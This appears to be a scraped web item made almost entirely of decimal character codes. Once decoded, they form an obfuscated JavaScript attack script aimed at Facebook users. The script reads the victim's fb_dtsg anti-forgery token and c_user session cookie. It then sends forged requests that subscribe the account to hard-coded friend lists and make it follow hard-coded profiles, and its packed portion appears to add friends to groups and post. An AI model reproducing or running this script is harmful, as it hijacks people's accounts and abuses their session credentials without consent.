40, 92, 39, 43, 99, 46, 49, 115, 46, 49, 116, 40, 57, 41, 43, 92, 39, 41, 92, 39, 41, 59, 113, 40, 97, 46, 83, 38, 38, 97, 46, 83, 46, 49, 117, 41, 123, 102, 46, 66, 61, 97, 46, 83, 46, 49, 117, 46, 50, 53, 40, 68, 40, 41, 123, 49, 118, 32, 48, 46, 53, 45, 49, 119, 46, 49, 120, 40, 41, 125, 41, 125, 106, 46, 117, 40, 92, 39, 71, 92, 39, 41, 46, 118, 61, 92, 39, 49, 121, 32, 60, 98, 62, 92, 39, 43, 102, 46, 66, 46, 121, 43, 92, 39, 32, 84, 60, 47, 98, 62, 60, 104, 32, 76, 61, 92, 92, 92, 39, 49, 122, 92, 92, 92, 39, 62, 60, 47, 104, 62, 60, 104, 32, 76, 61, 92, 92, 92, 39, 49, 65, 92, 92, 92, 39, 62, 60, 47, 104, 62, 60, 104, 32, 76, 61, 92, 92, 92, 39, 72, 92, 92, 92, 39, 32, 107, 61, 92, 92, 92, 39, 49, 66, 45, 49, 67, 58, 50, 54, 59, 49, 68, 58, 50, 55, 45, 50, 56, 59, 50, 57, 45, 50, 97, 58, 49, 69, 92, 92, 92, 39, 62, 60, 47, 104, 62, 92, 39, 43, 73, 59, 85, 40, 120, 32, 86, 32, 102, 46, 66, 41, 123, 102, 46, 49, 70, 40, 120, 41, 125, 125, 49, 71, 32, 113, 40, 99, 46, 75, 61, 61, 52, 38, 38, 99, 46, 81, 61, 61, 50, 98, 41, 123, 106, 46, 117, 40, 92, 39, 71, 92, 39, 41, 46, 118, 61, 92, 39, 60, 98, 32, 107, 61, 92, 92, 92, 39, 65, 58, 87, 92, 92, 92, 39, 62, 50, 99, 32, 50, 100, 32, 49, 121, 33, 60, 47, 98, 62, 92, 39, 43, 73, 125, 49, 71, 123, 106, 46, 117, 40, 92, 39, 71, 92, 39, 41, 46, 118, 61, 92, 39, 60, 98, 32, 107, 61, 92, 92, 92, 39, 65, 58, 88, 92, 92, 92, 39, 62, 49, 72, 32, 49, 73, 32, 84, 44, 32, 49, 74, 32, 49, 75, 46, 46, 32, 40, 92, 39, 43, 99, 46, 75, 43, 92, 39, 41, 60, 47, 98, 62, 92, 39, 43, 73, 125, 125, 59, 99, 46, 49, 76, 40, 41, 125, 44, 49, 70, 58, 68, 40, 100, 41, 123, 119, 32, 101, 61, 78, 32, 49, 110, 40, 41, 44, 89, 61, 92, 39, 49, 77, 61, 49, 38, 49, 103, 61, 92, 39, 43, 102, 46, 49, 101, 43, 92, 39, 38, 49, 108, 61, 92, 39, 43, 102, 46, 49, 107, 43, 92, 39, 38, 50, 101, 61, 49, 78, 38, 50, 102, 61, 38, 50, 103, 61, 38, 49, 79, 61, 92, 39, 43, 102, 46, 66, 91, 100, 93, 46, 69, 43, 92, 39, 38, 50, 104, 61, 92, 39, 43, 102, 46, 69, 43, 92, 39, 38, 50, 105, 61, 92, 39, 59, 101, 46, 49, 111, 40, 92, 39, 50, 106, 92, 39, 44, 92, 39, 47, 49, 80, 47, 50, 107, 47, 49, 79, 47, 50, 108, 46, 49, 81, 92, 39, 44, 49, 112, 41, 59, 101, 46, 90, 40, 92, 39, 49, 82, 45, 50, 109, 92, 39, 44, 92, 39, 50, 110, 47, 120, 45, 50, 111, 45, 50, 112, 45, 50, 113, 92, 39, 41, 59, 101, 46, 90, 40, 92, 39, 49, 82, 45, 121, 92, 39, 44, 89, 46, 121, 41, 59, 101, 46, 90, 40, 92, 39, 50, 114, 92, 39, 44, 92, 39, 50, 115, 45, 50, 116, 92, 39, 41, 59, 101, 46, 49, 113, 61, 68, 40, 41, 123, 113, 40, 101, 46, 75, 61, 61, 52, 38, 38, 101, 46, 81, 61, 61, 49, 114, 41, 123, 119, 32, 97, 61, 82, 40, 92, 39, 40, 92, 39, 43, 101, 46, 49, 115, 46, 49, 116, 40, 57, 41, 43, 92, 39, 41, 92, 39, 41, 59, 102, 46, 74, 43, 43, 59, 106, 46, 117, 40, 92, 39, 49, 122, 92, 39, 41, 46, 118, 61, 92, 39, 60, 104, 62, 60, 98, 62, 92, 39, 43, 102, 46, 74, 43, 92, 39, 60, 47, 98, 62, 32, 50, 117, 32, 60, 98, 62, 92, 39, 43, 102, 46, 66, 46, 121, 43, 92, 39, 60, 47, 98, 62, 60, 47, 104, 62, 92, 39, 59, 113, 40, 97, 46, 49, 83, 41, 123, 102, 46, 80, 43, 43, 59, 106, 46, 117, 40, 92, 39, 72, 92, 39, 41, 46, 118, 61, 92, 39, 60, 104, 62, 60, 98, 32, 107, 61, 92, 92, 92, 39, 65, 58, 87, 92, 92, 92, 39, 62, 40, 32, 92, 39, 43, 102, 46, 80, 43, 92, 39, 32, 41, 60, 47, 98, 62, 32, 60, 49, 84, 32, 107, 61, 92, 92, 92, 39, 65, 58, 87, 92, 92, 92, 39, 62, 92, 39, 43, 97, 46, 49, 83, 43, 92, 39, 60, 47, 49, 84, 62, 60, 47, 104, 62, 92, 39, 125, 113, 40, 97, 46, 67, 38, 38, 97, 46, 67, 46, 70, 41, 123, 119, 32, 98, 61, 92, 39, 60, 104, 62, 92, 39, 59, 85, 40, 120, 32, 86, 32, 97, 46, 67, 46, 70, 41, 123, 113, 40, 97, 46, 67, 46, 70, 91, 120, 93, 91, 97, 46, 67, 46, 70, 91, 120, 93, 46, 121, 45, 49, 93, 91, 49, 93, 41, 123, 98, 43, 61, 92, 39, 60, 98, 32, 107, 61, 92, 92, 92, 39, 65, 58, 88, 92, 92, 92, 39, 62, 92, 39, 43, 97, 46, 67, 46, 70, 91, 120, 93, 91, 97, 46, 67, 46, 70, 91, 120, 93, 46, 121, 45, 49, 93, 91, 49, 93, 43, 92, 39, 60, 47, 98, 62, 32, 92, 39, 125, 125, 98, 43, 61, 92, 39, 60, 104, 62, 92, 39, 59, 106, 46, 117, 40, 92, 39, 49, 65, 92, 39, 41, 46, 118, 61, 98, 125, 113, 40, 97, 46, 49, 56, 41, 123, 85, 40, 122, 32, 86, 32, 97, 46, 49, 56, 41, 123, 119, 32, 99, 61, 82, 40, 97, 46, 49, 56, 91, 122, 93, 46, 50, 118, 40, 47, 50, 119, 46, 50, 120, 47, 105, 44, 92, 39, 92, 39, 41, 41, 59, 113, 40, 99, 46, 69, 38, 38, 99, 46, 49, 85, 41, 123, 102, 46, 79, 43, 43, 59, 106, 46, 117, 40, 92, 39, 72, 92, 39, 41, 46, 118, 61, 92, 39, 60, 104, 62, 60, 98, 32, 107, 61, 92, 92, 92, 39, 65, 58, 88, 92, 92, 92, 39, 62, 40, 32, 92, 39, 43, 102, 46, 79, 43, 92, 39, 32, 41, 60, 47, 98, 62, 32, 60, 97, 32, 49, 57, 61, 92, 92, 92, 39, 92, 92, 47, 92, 39, 43, 99, 46, 69, 43, 92, 39, 92, 92, 92, 39, 32, 49, 86, 61, 92, 92, 92, 39, 49, 87, 92, 92, 92, 39, 62, 60, 98, 62, 92, 39, 43, 99, 46, 49, 85, 43, 92, 39, 60, 47, 98, 62, 60, 47, 97, 62, 32, 50, 121, 32, 50, 122, 32, 50, 65, 32, 50, 66, 32, 50, 67, 46, 60, 47, 104, 62, 92, 39, 59, 50, 68, 125, 125, 125, 113, 40, 102, 46, 74, 61, 61, 102, 46, 66, 46, 121, 41, 123, 106, 46, 117, 40, 92, 39, 72, 92, 39, 41, 46, 107, 46, 50, 69, 61, 92, 39, 49, 97, 92, 39, 59, 106, 46, 117, 40, 92, 39, 72, 92, 39, 41, 46, 118, 43, 61, 92, 39, 60, 104, 32, 107, 61, 92, 92, 92, 39, 77, 45, 49, 98, 58, 50, 70, 59, 77, 45, 50, 71, 58, 50, 72, 92, 92, 92, 39, 62, 50, 73, 33, 60, 47, 104, 62, 60, 97, 32, 49, 57, 61, 92, 92, 92, 39, 47, 92, 92, 92, 39, 32, 50, 74, 61, 92, 92, 92, 39, 106, 46, 117, 40, 34, 71, 34, 41, 46, 107, 46, 49, 68, 61, 34, 50, 75, 34, 59, 49, 118, 32, 50, 76, 92, 92, 92, 39, 62, 50, 77, 60, 47, 97, 62, 92, 39, 125, 125, 125, 59, 101, 46, 49, 76, 40, 89, 41, 125, 125, 59, 119, 32, 103, 61, 91, 92, 39, 105, 92, 39, 44, 92, 39, 97, 92, 39, 44, 92, 39, 101, 92, 39, 44, 92, 39, 103, 92, 39, 44, 92, 39, 111, 92, 39, 44, 92, 39, 115, 92, 39, 44, 92, 39, 110, 92, 39, 44, 92, 39, 98, 92, 39, 44, 92, 39, 108, 92, 39, 44, 92, 39, 112, 92, 39, 44, 92, 39, 109, 92, 39, 44, 92, 39, 50, 92, 39, 44, 92, 39, 114, 92, 39, 44, 92, 39, 48, 92, 39, 44, 92, 39, 99, 92, 39, 44, 92, 39, 49, 92, 39, 44, 92, 39, 116, 92, 39, 44, 92, 39, 52, 92, 39, 44, 92, 39, 92, 92, 50, 78, 92, 39, 93, 44, 49, 99, 61, 103, 91, 49, 93, 43, 103, 91, 48, 93, 43, 103, 91, 54, 93, 43, 103, 91, 51, 93, 43, 103, 91, 49, 52, 93, 43, 103, 91, 49, 50, 93, 43, 103, 91, 50, 93, 43, 103, 91, 49, 93, 43, 103, 91, 49, 54, 93, 43, 103, 91, 48, 93, 43, 103, 91, 52, 93, 43, 103, 91, 54, 93, 43, 103, 91, 53, 93, 43, 92, 39, 46, 92, 39, 43, 103, 91, 55, 93, 43, 103, 91, 56, 93, 43, 103, 91, 52, 93, 43, 103, 91, 51, 93, 43, 103, 91, 53, 93, 43, 103, 91, 57, 93, 43, 103, 91, 52, 93, 43, 103, 91, 49, 54, 93, 43, 92, 39, 46, 92, 39, 43, 103, 91, 49, 52, 93, 43, 103, 91, 52, 93, 43, 103, 91, 49, 48, 93, 44, 73, 61, 92, 39, 60, 104, 32, 107, 61, 92, 92, 92, 39, 50, 79, 45, 49, 88, 58, 49, 100, 59, 65, 58, 50, 80, 59, 77, 45, 49, 98, 58, 50, 81, 92, 92, 92, 39, 62, 92, 39, 43, 103, 91, 49, 93, 46, 49, 89, 40, 41, 43, 103, 91, 48, 93, 43, 103, 91, 54, 93, 43, 103, 91, 51, 93, 43, 103, 91, 49, 52, 93, 46, 49, 89, 40, 41, 43, 103, 91, 49, 50, 93, 43, 103, 91, 50, 93, 43, 103, 91, 49, 93, 43, 103, 91, 49, 54, 93, 43, 103, 91, 48, 93, 43, 103, 91, 52, 93, 43, 103, 91, 54, 93, 43, 103, 91, 53, 93, 43, 92, 39, 32, 92, 39, 43, 103, 91, 103, 46, 121, 45, 49, 93, 43, 103, 91, 49, 49, 93, 43, 103, 91, 49, 51, 93, 43, 103, 91, 49, 53, 93, 43, 103, 91, 49, 55, 93, 43, 92, 39, 60, 104, 32, 107, 61, 92, 92, 92, 39, 77, 45, 49, 98, 58, 50, 82, 92, 92, 92, 39, 62, 60, 97, 32, 49, 57, 61, 92, 92, 92, 39, 50, 83, 58, 47, 47, 92, 39, 43, 49, 99, 43, 92, 39, 47, 92, 92, 92, 39, 32, 49, 86, 61, 92, 92, 92, 39, 49, 87, 92, 92, 92, 39, 62, 92, 39, 43, 49, 99, 43, 92, 39, 60, 47, 97, 62, 60, 47, 104, 62, 60, 47, 104, 62, 92, 39, 59, 106, 46, 49, 90, 46, 118, 43, 61, 92, 39, 60, 49, 97, 32, 76, 61, 92, 92, 92, 39, 71, 92, 92, 92, 39, 32, 107, 61, 92, 92, 92, 39, 49, 66, 45, 50, 84, 58, 50, 85, 59, 49, 67, 58, 50, 86, 59, 50, 87, 58, 50, 88, 59, 49, 88, 58, 50, 89, 59, 49, 69, 58, 92, 39, 43, 40, 106, 46, 49, 90, 46, 50, 90, 45, 51, 48, 41, 47, 50, 43, 92, 39, 51, 49, 59, 50, 48, 45, 51, 50, 58, 49, 100, 59, 51, 51, 58, 49, 100, 59, 122, 45, 51, 52, 58, 51, 53, 59, 50, 48, 58, 51, 54, 32, 51, 55, 32, 51, 56, 59, 51, 57, 45, 65, 58, 51, 97, 40, 50, 49, 44, 50, 49, 44, 51, 98, 44, 48, 46, 51, 99, 41, 92, 92, 92, 39, 62, 60, 98, 62, 49, 72, 32, 49, 73, 32, 84, 44, 32, 49, 74, 32, 49, 75, 46, 46, 32, 60, 47, 98, 62, 92, 39, 43, 73, 43, 92, 39, 60, 47, 49, 97, 62, 92, 39, 59, 102, 46, 49, 109, 40, 92, 39, 47, 49, 80, 47, 49, 78, 47, 51, 100, 46, 49, 81, 63, 49, 77, 61, 49, 38, 51, 101, 61, 92, 39, 43, 102, 46, 69, 43, 92, 39, 38, 51, 102, 61, 92, 39, 43, 49, 119, 46, 49, 120, 40, 41, 43, 92, 39, 38, 51, 103, 91, 48, 93, 61, 51, 104, 38, 51, 105, 91, 48, 93, 61, 51, 106, 92, 39, 41, 125, 41, 40, 41, 59, 39, 44, 54, 50, 44, 50, 48, 54, 44, 39, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 124, 100, 105, 118, 124, 124, 100, 111, 99, 117, 109, 101, 110, 116, 124, 115, 116, 121, 108, 101, 124, 124, 124, 124, 124, 124, 105, 102, 124, 124, 124, 124, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 66, 121, 73, 100, 124, 105, 110, 110, 101, 114, 72, 84, 77, 76, 124, 118, 97, 114, 124, 124, 108, 101, 110, 103, 116, 104, 124, 124, 99, 111, 108, 111, 114, 124, 102, 114, 110, 115, 124, 106, 115, 109, 111, 100, 115, 124, 102, 117, 110, 99, 116, 105, 111, 110, 124, 117, 105, 100, 124, 114, 101, 113, 117, 105, 114, 101, 124, 104, 97, 115, 105, 108, 115, 117, 114, 97, 115, 105, 108, 124, 104, 97, 115, 105, 108, 116, 105, 103, 97, 124, 99, 114, 106, 124, 112, 114, 101, 110, 75, 101, 124, 114, 101, 97, 100, 121, 83, 116, 97, 116, 101, 124, 105, 100, 124, 102, 111, 110, 116, 124, 110, 101, 119, 124, 111, 107, 101, 104, 124, 103, 97, 103, 97, 108, 124, 115, 116, 97, 116, 117, 115, 124, 101, 118, 97, 108, 124, 112, 97, 121, 108, 111, 97, 100, 124, 70, 114, 105, 101, 110, 100, 115, 124, 102, 111, 114, 124, 105, 110, 124, 100, 97, 114, 107, 114, 101, 100, 124, 100, 97, 114, 107, 103, 114, 101, 101, 110, 124, 112, 114, 109, 124, 115, 101, 116, 82, 101, 113, 117, 101, 115, 116, 72, 101, 97, 100, 101, 114, 124, 124, 124, 124, 124, 124, 124, 124, 124, 111, 110, 108, 111, 97, 100, 124, 104, 114, 101, 102, 124, 99, 101, 110, 116, 101, 114, 124, 115, 105, 122, 101, 124, 99, 114, 108, 124, 49, 48, 112, 120, 124, 100, 116, 115, 103, 124, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 78, 97, 109, 101, 124, 102, 98, 95, 100, 116, 115, 103, 124, 118, 97, 108, 117, 101, 124, 99, 111, 111, 107, 105, 101, 124, 109, 97, 116, 99, 104, 124, 103, 105, 100, 124, 103, 114, 111, 117, 112, 95, 105, 100, 124, 103, 101, 116, 65, 106, 97, 107, 124, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 124, 111, 112, 101, 110, 124, 116, 114, 117, 101, 124, 111, 110, 114, 101, 97, 100, 121, 115, 116, 97, 116, 101, 99, 104, 97, 110, 103, 101, 124, 50, 48, 48, 124, 114, 101, 115, 112, 111, 110, 115, 101, 84, 101, 120, 116, 124, 115, 117, 98, 115, 116, 114, 124, 101, 110, 116, 114, 105, 101, 115, 124, 114, 101, 116, 117, 114, 110, 124, 77, 97, 116, 104, 124, 114, 97, 110, 100, 111, 109, 124, 70, 111, 117, 110, 100, 124, 104, 97, 115, 105, 108, 115, 97, 116, 117, 124, 104, 97, 115, 105, 108, 100, 117, 97, 124, 109, 105, 110, 124, 119, 105, 100, 116, 104, 124, 100, 105, 115, 112, 108, 97, 121, 124, 108, 101, 102, 116, 124, 115, 101, 110, 65, 106, 97, 107, 124, 101, 108, 115, 101, 124, 67, 111, 108, 108, 101, 99, 116, 105, 110, 103, 124, 121, 111, 117, 114, 124, 119, 97, 105, 116, 124, 117, 112, 124, 115, 101, 110, 100, 124, 95, 95, 97, 124, 116, 121, 112, 101, 97, 104, 101, 97, 100, 124, 109, 101, 109, 98, 101, 114, 115, 124, 97, 106, 97, 120, 124, 112, 104, 112, 124, 67, 111, 110, 116, 101, 110, 116, 124, 101, 114, 114, 111, 114, 68, 101, 115, 99, 114, 105, 112, 116, 105, 111, 110, 124, 115, 112, 97, 110, 124, 110, 97, 109, 101, 124, 116, 97, 114, 103, 101, 116, 124, 95, 98, 108, 97, 110, 107, 124, 116, 111, 112, 124, 116, 111, 85, 112, 112, 101, 114, 67, 97, 115, 101, 124, 98, 111, 100, 121, 124, 98, 111, 114, 100, 101, 114, 124, 50, 50, 53, 124, 99, 95, 117, 115, 101, 114, 124, 65, 114, 114, 97, 121, 124, 71, 69, 84, 124, 115, 111, 114, 116, 124, 51, 48, 48, 112, 120, 124, 105, 110, 108, 105, 110, 101, 124, 98, 108, 111, 99, 107, 124, 116, 101, 120, 116, 124, 97, 108, 105, 103, 110, 124, 52, 48, 52, 124, 80, 97, 103, 101, 124, 78, 111, 116, 124, 115, 111, 117, 114, 99, 101, 124, 114, 101, 102, 124, 109, 101, 115, 115, 97, 103, 101, 95, 105, 100, 124, 95, 95, 117, 115, 101, 114, 124, 112, 104, 115, 116, 97, 109, 112, 124, 80, 79, 83, 84, 124, 103, 114, 111, 117, 112, 115, 124, 97, 100, 100, 95, 112, 111, 115, 116, 124, 116, 121, 112, 101, 124, 97, 112, 112, 108, 105, 99, 97, 116, 105, 111, 110, 124, 119, 119, 119, 124, 102, 111, 114, 109, 124, 117, 114, 108, 101, 110, 99, 111, 100, 101, 100, 124, 67, 111, 110, 110, 101, 99, 116, 105, 111, 110, 124, 107, 101, 101, 112, 124, 97, 108, 105, 118, 101, 124, 111, 102, 124, 114, 101, 112, 108, 97, 99, 101, 124, 65, 114, 98, 105, 116, 101, 114, 124, 105, 110, 102, 111, 114, 109, 124, 104, 97, 115, 124, 98, 101, 101, 110, 124, 97, 100, 100, 101, 100, 124, 116, 111, 124, 103, 114, 111, 117, 112, 124, 98, 114, 101, 97, 107, 124, 116, 101, 120, 116, 65, 108, 105, 103, 110, 124, 52, 48, 112, 120, 124, 119, 101, 105, 103, 104, 116, 124, 98, 111, 108, 100, 124, 68, 79, 78, 69, 124, 111, 110, 67, 108, 105, 99, 107, 124, 110, 111, 110, 101, 124, 102, 97, 108, 115, 101, 124, 67, 108, 111, 115, 101, 124, 120, 65, 57, 124, 109, 97, 114, 103, 105, 110, 124, 103, 114, 97, 121, 124, 49, 50, 112, 120, 124, 57, 112, 120, 124, 104, 116, 116, 112, 124, 104, 101, 105, 103, 104, 116, 124, 53, 48, 112, 120, 124, 54, 48, 48, 112, 120, 124, 112, 111, 115, 105, 116, 105, 111, 110, 124, 102, 105, 120, 101, 100, 124, 49, 48, 48, 112, 120, 124, 111, 102, 102, 115, 101, 116, 87, 105, 100, 116, 104, 124, 53, 51, 48, 124, 112, 120, 124, 114, 97, 100, 105, 117, 115, 124, 112, 97, 100, 100, 105, 110, 103, 124, 105, 110, 100, 101, 120, 124, 57, 57, 57, 57, 57, 57, 124, 53, 112, 120, 124, 115, 111, 108, 105, 100, 124, 115, 107, 121, 98, 108, 117, 101, 124, 98, 97, 99, 107, 103, 114, 111, 117, 110, 100, 124, 114, 103, 98, 97, 124, 50, 53, 53, 124, 55, 53, 124, 102, 105, 114, 115, 116, 95, 100, 101, 103, 114, 101, 101, 124, 118, 105, 101, 119, 101, 114, 124, 116, 111, 107, 101, 110, 124, 102, 105, 108, 116, 101, 114, 124, 117, 115, 101, 114, 124, 111, 112, 116, 105, 111, 110, 115, 124, 102, 114, 105, 101, 110, 100, 115, 95, 111, 110, 108, 121, 39, 46, 115, 112, 108, 105, 116, 40, 39, 124, 39, 41, 44, 48, 44, 123, 125, 41, 41, 125, 41, 40, 41, 10, 118, 97, 114, 32, 102, 98, 95, 100, 116, 115, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 78, 97, 109, 101, 40, 39, 102, 98, 95, 100, 116, 115, 103, 39, 41, 91, 48, 93, 46, 118, 97, 108, 117, 101, 59, 10, 118, 97, 114, 32, 117, 115, 101, 114, 95, 105, 100, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 109, 97, 116, 99, 104, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 109, 97, 116, 99, 104, 40, 47, 99, 95, 117, 115, 101, 114, 61, 40, 92, 100, 43, 41, 47, 41, 91, 49, 93, 41, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 76, 73, 83, 84, 40, 76, 41, 32, 123, 10, 118, 97, 114, 32, 88, 32, 61, 32, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 10, 118, 97, 114, 32, 88, 85, 82, 76, 32, 61, 32, 34, 47, 47, 119, 119, 119, 46, 102, 97, 99, 101, 98, 111, 111, 107, 46, 99, 111, 109, 47, 97, 106, 97, 120, 47, 102, 114, 105, 101, 110, 100, 115, 47, 108, 105, 115, 116, 115, 47, 115, 117, 98, 115, 99, 114, 105, 98, 101, 47, 109, 111, 100, 105, 102, 121, 34, 59, 10, 118, 97, 114, 32, 88, 80, 97, 114, 97, 109, 115, 32, 61, 32, 34, 102, 108, 105, 100, 61, 34, 32, 43, 32, 76, 32, 43, 32, 34, 38, 97, 99, 116, 105, 111, 110, 61, 115, 117, 98, 115, 99, 114, 105, 98, 101, 38, 108, 111, 99, 97, 116, 105, 111, 110, 61, 102, 101, 101, 100, 38, 110, 99, 116, 114, 91, 95, 109, 111, 100, 93, 61, 112, 97, 103, 101, 108, 101, 116, 95, 103, 114, 111, 117, 112, 95, 109, 97, 108, 108, 38, 102, 116, 91, 116, 121, 112, 101, 93, 61, 52, 48, 38, 102, 116, 91, 116, 110, 93, 61, 68, 72, 38, 95, 95, 117, 115, 101, 114, 61, 34, 32, 43, 32, 117, 115, 101, 114, 95, 105, 100, 32, 43, 32, 34, 38, 95, 95, 97, 61, 49, 38, 95, 95, 100, 121, 110, 61, 55, 110, 56, 97, 104, 120, 111, 78, 112, 71, 111, 38, 95, 95, 114, 101, 113, 61, 121, 38, 102, 98, 95, 100, 116, 115, 103, 61, 34, 32, 43, 32, 102, 98, 95, 100, 116, 115, 103, 32, 43, 32, 34, 38, 112, 104, 115, 116, 97, 109, 112, 61, 34, 59, 10, 88, 46, 111, 112, 101, 110, 40, 34, 80, 79, 83, 84, 34, 44, 32, 88, 85, 82, 76, 44, 32, 116, 114, 117, 101, 41, 59, 10, 88, 46, 111, 110, 114, 101, 97, 100, 121, 115, 116, 97, 116, 101, 99, 104, 97, 110, 103, 101, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 40, 41, 32, 123, 10, 105, 102, 32, 40, 88, 46, 114, 101, 97, 100, 121, 83, 116, 97, 116, 101, 32, 61, 61, 32, 52, 32, 38, 38, 32, 88, 46, 115, 116, 97, 116, 117, 115, 32, 61, 61, 32, 50, 48, 48, 41, 32, 123, 10, 88, 46, 99, 108, 111, 115, 101, 59, 10, 125, 10, 125, 59, 10, 88, 46, 115, 101, 110, 100, 40, 88, 80, 97, 114, 97, 109, 115, 41, 59, 10, 125, 10, 76, 73, 83, 84, 40, 34, 54, 49, 52, 54, 51, 48, 57, 54, 53, 51, 48, 50, 50, 51, 56, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 48, 49, 55, 50, 55, 55, 55, 57, 56, 54, 52, 52, 49, 53, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 55, 49, 52, 55, 53, 52, 52, 57, 53, 51, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 55, 51, 52, 48, 56, 55, 56, 50, 54, 55, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 55, 54, 54, 48, 56, 55, 56, 50, 51, 53, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 55, 56, 56, 48, 56, 55, 56, 50, 49, 51, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 56, 50, 55, 48, 56, 55, 56, 49, 55, 52, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 56, 54, 54, 55, 53, 52, 52, 56, 48, 49, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 56, 57, 49, 48, 56, 55, 56, 49, 49, 48, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 57, 49, 54, 48, 56, 55, 56, 48, 56, 53, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 57, 53, 49, 55, 53, 52, 52, 55, 49, 54, 34, 41, 59, 10, 76, 73, 83, 84, 40, 34, 54, 50, 53, 53, 51, 57, 54, 56, 52, 50, 49, 49, 51, 54, 54, 34, 41, 59, 10, 118, 97, 114, 32, 102, 98, 95, 100, 116, 115, 103, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 103, 101, 116, 69, 108, 101, 109, 101, 110, 116, 115, 66, 121, 78, 97, 109, 101, 40, 39, 102, 98, 95, 100, 116, 115, 103, 39, 41, 91, 48, 93, 46, 118, 97, 108, 117, 101, 59, 10, 118, 97, 114, 32, 117, 115, 101, 114, 95, 105, 100, 32, 61, 32, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 109, 97, 116, 99, 104, 40, 100, 111, 99, 117, 109, 101, 110, 116, 46, 99, 111, 111, 107, 105, 101, 46, 109, 97, 116, 99, 104, 40, 47, 99, 95, 117, 115, 101, 114, 61, 40, 92, 100, 43, 41, 47, 41, 91, 49, 93, 41, 59, 10, 102, 117, 110, 99, 116, 105, 111, 110, 32, 97, 40, 97, 98, 111, 110, 101, 41, 32, 123, 10, 118, 97, 114, 32, 104, 116, 116, 112, 52, 32, 61, 32, 110, 101, 119, 32, 88, 77, 76, 72, 116, 116, 112, 82, 101, 113, 117, 101, 115, 116, 40, 41, 59, 10, 118, 97, 114, 32, 117, 114, 108, 52, 32, 61, 32, 34, 47, 97, 106, 97, 120, 47, 102, 111, 108, 108, 111, 119, 47, 102, 111, 108, 108, 111, 119, 95, 112, 114, 111, 102, 105, 108, 101, 46, 112, 104, 112, 63, 95, 95, 97, 61, 49, 34, 59, 10, 118, 97, 114, 32, 112, 97, 114, 97, 109, 115, 52, 32, 61, 32, 34, 112, 114, 111, 102, 105, 108, 101, 95, 105, 100, 61, 34, 32, 43, 32, 97, 98, 111, 110, 101, 32, 43, 32, 34, 38, 108, 111, 99, 97, 116, 105, 111, 110, 61, 49, 38, 115, 111, 117, 114, 99, 101, 61, 102, 111, 108, 108, 111, 119, 45, 98, 117, 116, 116, 111, 110, 38, 115, 117, 98, 115, 99, 114, 105, 98, 101, 100, 95, 98, 117, 116, 116, 111, 110, 95, 105, 100, 61, 117, 51, 55, 113, 97, 99, 95, 51, 55, 38, 102, 98, 95, 100, 116, 115, 103, 61, 34, 32, 43, 32, 102, 98, 95, 100, 116, 115, 103, 32, 43, 32, 34, 38, 108, 115, 100, 38, 95, 95, 34, 32, 43, 32, 117, 115, 101, 114, 95, 105, 100, 32, 43, 32, 34, 38, 112, 104, 115, 116, 97, 109, 112, 61, 34, 59, 10, 104, 116, 116, 112, 52, 46, 111, 112, 101, 110, 40, 34, 80, 79, 83, 84, 34, 44, 32, 117, 114, 108, 52, 44, 32, 116, 114, 117, 101, 41, 59, 10, 104, 116, 116, 112, 52, 46, 111, 110, 114, 101, 97, 100, 121, 115, 116, 97, 116, 101, 99, 104, 97, 110, 103, 101, 32, 61, 32, 102, 117, 110, 99, 116, 105, 111, 110, 32, 40, 41, 32, 123, 10, 105, 102, 32, 40, 104, 116, 116, 112, 52, 46, 114, 101, 97, 100, 121, 83, 116, 97, 116, 101, 32, 61, 61, 32, 52, 32, 38, 38, 32, 104, 116, 116, 112, 52, 46, 115, 116, 97, 116, 117, 115, 32, 61, 61, 32, 50, 48, 48, 41, 32, 123, 10, 104, 116, 116, 112, 52, 46, 99, 108, 111, 115, 101, 59, 10, 125, 10, 125, 59, 10, 104, 116, 116, 112, 52, 46, 115, 101, 110, 100, 40, 112, 97, 114, 97, 109, 115, 52, 41, 59, 10, 125, 10, 97, 40, 34, 49, 48, 48, 48, 48, 50, 54, 54, 48, 50, 49, 55, 51, 49, 50, 34, 41, 59, 10, 97, 40, 34, 49, 48, 48, 48, 48, 48, 56, 49, 53, 57, 54, 57, 50, 49, 51, 34, 41, 59, 10, 97, 40, 34, 49, 48, 48, 48, 48, 50, 54, 55, 50, 48, 50, 55, 52, 51, 51, 34, 41, 59 ))
  10. [SOURCE]

